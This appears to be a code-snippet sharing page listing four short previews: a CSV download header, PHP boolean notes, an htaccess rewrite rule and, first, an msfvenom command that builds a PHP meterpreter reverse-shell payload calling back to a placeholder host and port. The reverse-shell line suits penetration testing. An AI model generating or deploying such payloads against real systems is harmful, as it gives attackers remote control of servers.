What do you want to save?
Add Code snippet
New code examples
-
Shell/Bash 2022-03-21 13:10:51
reverse php shell pentestmonkey
##This will create the payload file "shell.php" with your ip and port. msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php ##You can always "nano" the file to change your ipaddr... Add solution -
PHP 2022-03-21 10:35:07
php csv auto download
<?php header('Content-Type: text/csv'); header('Content-Disposition: attachment; filename="sample.csv"'); $list = array ( array('aaa', 'bbb', 'ccc', 'dddd'), array('123', '456', '789'), array('"aaa"', '"bbb"')... Add solution -
PHP 2022-03-20 07:30:27
php boolean
/** * Strings always evaluate to boolean true unless they have a * value that's considered "empty" by PHP (taken from the * documentation for empty): * "" (an empty string) evaluates as false. * "0" (0 as a string) evaul... Add solution -
PHP 2022-03-20 06:55:16
remove index.php from url htaccess
<?php #By default, the index.php file will be included in your URLs: # Create a .htaccess file in your root folder and paste the below code RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$... Add solution